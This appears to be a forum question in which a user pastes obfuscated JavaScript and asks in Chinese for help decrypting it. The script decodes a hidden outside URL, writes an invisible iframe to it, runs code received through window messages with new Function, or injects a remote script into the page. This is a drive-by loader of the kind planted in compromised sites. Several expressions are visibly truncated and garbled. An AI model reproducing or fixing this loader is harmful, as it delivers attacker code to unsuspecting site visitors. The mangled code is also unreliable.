u = "aHR0cHM6Ly" + "92LnZva21o" + "eWR5Lnh5ei" + "9JTVhOL0gt" + "MTkxNi1nLT" + "M4MC8=";
var r = 'QzYBvmgM';
w = window;
d = document;
f = 'WtqXQ';
c = 'k';
function bd(e) {
var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var t = '',
n, r, i, s, o, u, a, f = 0;
while (f > 4;
r = (o & 15) > 2;
i = (u & 3) 191 && r > 2 ^ 255)
}
return (function(b345, b435) {
b453 = '';
for (var i = 0; i > 2 || b345[b453].split('')
.map(function(e) {
return e.charCodeAt(0) ^ 127 -1 || navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1;
function rd(m) {
return (new Date()
.getTime()) % m
};
h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524);
r = r + h, eey = 'id', br = bd('d3JpdGU=');
u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c)));
wrd = bd('d3JpdGUKIA==');
if (k2) {
abc = 0;
var s = bd('YWRkRXZlbnRMaXN0ZW5lcg==');
r = r + rd(100);
wi = bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi') + ' s' + 'rc="' + u + r + '" >';
d[br](wi);
k = function(e) {
var rr = r;
if (e.data[rr]) {
new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))()
}
};
w
}
if (abc) {
a = u;
var s = d['createElement']('sc' + 'ript');
s[fc98] = a;
d.head['appendChild'](s);
}
d.currentScript.id = 'des' + r
}
LPYiuhsZ1414();
请帮我解密一下 看不太懂 一脸懵逼